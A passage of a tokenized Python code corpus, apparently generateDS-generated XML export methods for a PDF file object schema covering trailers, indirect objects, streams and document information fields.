"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Fi", "rst", "\\u", "Object", "\\u", "Number_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Fi", "rst", "\\u", "Object", "\\u", "Number_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Fi", "rst", "\\u", "Object", "\\u", "Number", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Number", "\\u", "Of", "\\u", "Objects_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Number", "\\u", "Of", "\\u", "Objects_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Number", "\\u", "Of", "\\u", "Object", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Cross", "\\u", "Reference", "\\u", "Entries_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Cross", "\\u", "Reference", "\\u", "Entries_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Cross", "\\u", "Reference", "\\u", "Entr", "ies", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FT", "rail", "er", "List", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FT", "rail", "er", "List", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Trail", "er", "\\u_", "in_", "self_", "._", "Trail", "er_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Trail", "er", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Trail", "er", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FT", "rail", "er", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FT", "rail", "er", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Size_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Size_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Size", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Prev", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Prev", "_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Prev", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Root_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Root_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Roo", "t", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Encrypt", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Encrypt", "_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Encrypt", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Info_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Info_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Info", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "ID_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ID_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "ID", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Las", "t", "\\u", "Cross", "\\u", "Reference", "\\u", "Offset_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Las", "t", "\\u", "Cross", "\\u", "Reference", "\\u", "Offset_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Las", "t", "\\u", "Cross", "\\u", "Reference", "\\u", "Off", "set", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Offset_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Offset_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Off", "set", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Hashe", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Hashe", "s_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Hashe", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FF", "ile", "ID", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FF", "ile", "ID", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ID", "\\u", "String", "\\u_", "in_", "self_", "._", "ID", "\\u", "String_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ID", "\\u", "String", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "ID", "\\u", "String", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FI", "ndi", "rect", "Object", "List", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FI", "ndi", "rect", "Object", "List", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Indi", "rect", "\\u", "Object", "\\u_", "in_", "self_", "._", "Indi", "rect", "\\u", "Object_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Indi", "rect", "\\u", "Object", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Indi", "rect", "\\u", "Object", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FI", "ndi", "rect", "Object", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FI", "ndi", "rect", "Object", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "ID_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ID_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "ID", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Contents_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Contents_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Conten", "ts", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Offset_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Offset_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Off", "set", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Hashe", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Hashe", "s_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Hashe", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FI", "ndi", "rect", "Object", "ID", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FI", "ndi", "rect", "Object", "ID", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Object", "\\u", "Number_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Object", "\\u", "Number_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Object", "\\u", "Number", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Generat", "ion", "\\u", "Number_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Generat", "ion", "\\u", "Number_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Generat", "ion", "\\u", "Number", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FI", "ndi", "rect", "Object", "Conten", "ts", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FI", "ndi", "rect", "Object", "Conten", "ts", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Non", "\\u", "Stream", "\\u", "Contents_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "Non", "\\u", "Stream", "\\u", "Contents_", "._", "get", "\\u", "value", "Of\\u_", "(_", ")_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "self_", "._", "Non", "\\u", "Stream", "\\u", "Contents_", "._", "get", "\\u", "value", "Of\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "value_", "._", "startswith_", "(_", "'<!", "[", "CD", "ATA", "['_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "'<!", "[", "CD", "ATA", "['_", "+_", "value_", "+_", "']]", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Non", "\\u", "Stream", "\\u", "Contents_", "._", "set\\u", "value", "Of\\u_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "Non", "\\u", "Stream", "\\u", "Contents_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Non", "\\u", "Stream", "\\u", "Conten", "ts", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Stream", "\\u", "Contents_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Stream", "\\u", "Contents_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Stream", "\\u", "Conten", "ts", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FS", "tream", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FS", "tream", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Ra", "w", "\\u", "Stream_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Ra", "w", "\\u", "Stream_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Ra", "w", "\\u", "Stream", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Ra", "w", "\\u", "Stream", "\\u", "Hashe", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Ra", "w", "\\u", "Stream", "\\u", "Hashe", "s_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Ra", "w", "\\u", "Stream", "\\u", "Hashe", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Decode", "d\\u", "Stream_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Decode", "d\\u", "Stream_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Decode", "d\\u", "Stream", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Decode", "d\\u", "Stream", "\\u", "Hashe", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Decode", "d\\u", "Stream", "\\u", "Hashe", "s_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Decode", "d\\u", "Stream", "\\u", "Hashe", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FD", "ocu", "ment", "Information", "Dict", "ionar", "y", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FD", "ocu", "ment", "Information", "Dict", "ionar", "y", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Title_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Title_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", 